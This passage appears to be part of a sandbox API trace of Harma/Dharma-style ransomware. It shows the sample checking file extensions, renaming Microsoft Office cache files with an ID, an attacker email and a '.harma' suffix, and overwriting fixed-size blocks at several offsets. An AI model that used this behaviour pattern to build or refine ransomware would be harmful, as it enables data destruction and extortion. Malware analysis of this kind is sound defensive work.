(lpString=".7z") returned 3 [0055.827] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0055.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.827] lstrlenW (lpString=".dbf") returned 4 [0055.827] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0055.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.827] lstrlenW (lpString=".1cd") returned 4 [0055.827] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0055.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.827] lstrlenW (lpString=".jpg") returned 4 [0055.828] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0056.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0056.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0056.030] lstrlenW (lpString=".doc") returned 4 [0056.030] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0056.030] lstrlenW (lpString=".docx") returned 5 [0056.030] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0056.030] lstrlenW (lpString=".pdf") returned 4 [0056.030] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0056.030] lstrlenW (lpString=".xls") returned 4 [0056.030] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0056.030] lstrlenW (lpString=".xlsx") returned 5 [0056.030] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0056.030] lstrlenW (lpString=".ppt") returned 4 [0056.030] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0056.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0056.030] lstrlenW (lpString=".zip") returned 4 [0056.030] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0056.030] lstrlenW (lpString=".rar") returned 4 [0056.030] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0056.031] lstrlenW (lpString=".bz2") returned 4 [0056.031] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0056.031] lstrlenW (lpString=".7z") returned 3 [0056.031] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0056.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0056.031] lstrlenW (lpString=".dbf") returned 4 [0056.031] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0056.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0056.031] lstrlenW (lpString=".1cd") returned 4 [0056.031] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0056.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0056.031] lstrlenW (lpString=".jpg") returned 4 [0056.031] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0056.031] lstrcmpiW (lpString1=".cab", lpString2=".harma") returned -1 [0056.031] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0056.031] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0056.032] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=36233052) returned 1 [0056.032] CloseHandle (hObject=0x1ec) returned 1 [0056.032] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0056.032] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0056.032] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0056.033] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0056.033] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc6c | out: lpNewFilePointer=0x0) returned 1 [0056.033] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0056.033] ReadFile (in: hFile=0x1ec, lpBuffer=0x3ba0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ba0058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0056.041] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0056.041] ReadFile (in: hFile=0x1ec, lpBuffer=0x3be0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3be0058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0056.045] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x315fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0056.045] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0056.045] ReadFile (in: hFile=0x1ec, lpBuffer=0x3c20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c20058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0056.065] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.065] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x315fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x315fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0056.322] SetEndOfFile (hFile=0x1ec) returned 1 [0056.322] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3f33178 [0056.328] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0056.328] WriteFile (in: hFile=0x1ec, lpBuffer=0x3f33178*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33178*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.329] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0056.330] WriteFile (in: hFile=0x1ec, lpBuffer=0x3f33178*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33178*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.331] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0056.331] WriteFile (in: hFile=0x1ec, lpBuffer=0x3f33178*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33178*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.333] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f33178 | out: hHeap=0x5a0000) returned 1 [0056.333] CloseHandle (hObject=0x1ec) returned 1 [0056.334] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0056.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.334] lstrlenW (lpString=".doc") returned 4 [0056.334] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0056.334] lstrlenW (lpString=".docx") returned 5 [0056.334] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0056.334] lstrlenW (lpString=".pdf") returned 4 [0056.334] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0056.334] lstrlenW (lpString=".xls") returned 4 [0056.334] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0056.334] lstrlenW (lpString=".xlsx") returned 5 [0056.335] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0056.335] lstrlenW (lpString=".ppt") returned 4 [0056.335] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0056.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.335] lstrlenW (lpString=".zip") returned 4 [0056.335] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0056.335] lstrlenW (lpString=".rar") returned 4 [0056.335] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0056.335] lstrlenW (lpString=".bz2") returned 4 [0056.335] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0056.335] lstrlenW (lpString=".7z") returned 3 [0056.335] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0056.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.335] lstrlenW (lpString=".dbf") returned 4 [0056.335] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0056.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.335] lstrlenW (lpString=".1cd") returned 4 [0056.335] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0056.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.335] lstrlenW (lpString=".jpg") returned 4 [0056.335] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0056.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.336] lstrlenW (lpString=".doc") returned 4 [0056.336] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0056.336] lstrlenW (lpString=".docx") returned 5 [0056.336] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0056.336] lstrlenW (lpString=".pdf") returned 4 [0056.336] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0056.336] lstrlenW (lpString=".xls") returned 4 [0056.336] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0056.336] lstrlenW (lpString=".xlsx") returned 5 [0056.336] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0056.336] lstrlenW (lpString=".ppt") returned 4 [0056.336] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0056.336] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.336] lstrlenW (lpString=".zip") returned 4 [0056.336] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0056.336] lstrlenW (lpString=".rar") returned 4 [0056.336] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0056.336] lstrlenW (lpString=".bz2") returned 4 [0056.336] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0056.336] lstrlenW (lpString=".7z") returned 3 [0056.336] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0056.336] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.336] lstrlenW (lpString=".dbf") returned 4 [0056.336] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0056.336] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.337] lstrlenW (lpString=".1cd") returned 4 [0056.337] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0056.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.337] lstrlenW (lpString=".jpg") returned 4 [0056.337] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0056.337] lstrcmpiW (lpString1=".msi", lpString2=".harma") returned 1 [0056.337] lstrlenW (lpString="ProPlusrWW.msi") returned 14 [0056.337] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0056.337] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=27532288) returned 1 [0056.338] CloseHandle (hObject=0x1ec) returned 1 [0056.338] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi")) returned 0x2020 [0056.338] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0056.338] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0056.338] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0056.339] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc6c | out: lpNewFilePointer=0x0) returned 1 [0056.339] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0056.339] ReadFile (in: hFile=0x1ec, lpBuffer=0x3ba0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ba0058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0056.348] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0056.348] ReadFile (in: hFile=0x1ec, lpBuffer=0x3be0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3be0058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0056.355] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x315fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0056.355] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0056.355] ReadFile (in: hFile=0x1ec, lpBuffer=0x3c20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c20058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0056.376] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.377] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x315fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x315fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0056.763] SetEndOfFile (hFile=0x1ec) returned 1 [0056.763] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3f33178 [0056.764] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0056.764] WriteFile (in: hFile=0x1ec, lpBuffer=0x3f33178*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33178*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.765] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0056.765] WriteFile (in: hFile=0x1ec, lpBuffer=0x3f33178*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33178*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.770] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0056.770] WriteFile (in: hFile=0x1ec, lpBuffer=0x3f33178*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33178*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.773] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f33178 | out: hHeap=0x5a0000) returned 1 [0056.773] CloseHandle (hObject=0x1ec) returned 1 [0056.773] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0056.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0056.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0056.773] lstrlenW (lpString=".doc") returned 4 [0056.774] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0056.774] lstrlenW (lpString=".docx") returned 5 [0056.774] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0056.774] lstrlenW (lpString=".pdf") returned 4 [0056.774] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0056.774] lstrlenW (lpString=".xls") returned 4 [0056.774] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0056.774] lstrlenW (lpString=".xlsx") returned 5 [0056.774] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0056.774] lstrlenW (lpString=".ppt") returned 4 [0056.774] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0056.774] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0056.774] lstrlenW (lpString=".zip") returned 4 [0056.774] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0056.774] lstrlenW (lpString=".rar") returned 4 [0056.774] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0056.774] lstrlenW (lpString=".bz2") returned 4 [0056.774] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0056.774] lstrlenW (lpString=".7z") returned 3 [0056.774] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0056.774] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0056.774] lstrlenW (lpString=".dbf") returned 4 [0056.774] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0056.774] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0056.774] lstrlenW (lpString=".1cd") returned 4 [0056.775] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0056.775] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0056.775] lstrlenW (lpString=".jpg") returned 4 [0056.775] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0056.775] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0056.775] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0056.775] lstrlenW (lpString=".doc") returned 4 [0056.775] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0056.775] lstrlenW (lpString=".docx") returned 5 [0056.775] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0056.775] lstrlenW (lpString=".pdf") returned 4 [0056.775] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0056.775] lstrlenW (lpString=".xls") returned 4 [0056.775] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0056.775] lstrlenW (lpString=".xlsx") returned 5 [0056.775] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0056.775] lstrlenW (lpString=".ppt") returned 4 [0056.775] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0056.775] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0056.775] lstrlenW (lpString=".zip") returned 4 [0056.775] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0056.775] lstrlenW (lpString=".rar") returned 4 [0056.775] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0056.775] lstrlenW (lpString=".bz2") returned 4 [0056.776] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0056.776] lstrlenW (lpString=".7z") returned 3 [0056.776] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0056.776] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0056.776] lstrlenW (lpString=".dbf") returned 4 [0056.776] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0056.776] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0056.776] lstrlenW (lpString=".1cd") returned 4 [0056.776] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0056.776] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0056.776] lstrlenW (lpString=".jpg") returned 4 [0056.776] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0056.776] lstrcmpiW (lpString1=".cab", lpString2=".harma") returned -1 [0056.776] lstrlenW (lpString="ProPrWW2.cab") returned 12 [0056.776] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0058.340] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=222948913) returned 1 [0058.340] CloseHandle (hObject=0x208) returned 1 [0058.340] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab")) returned 0x2020 [0058.340] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0058.340] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), lpNewFileName="C:\\MSOCache\\All 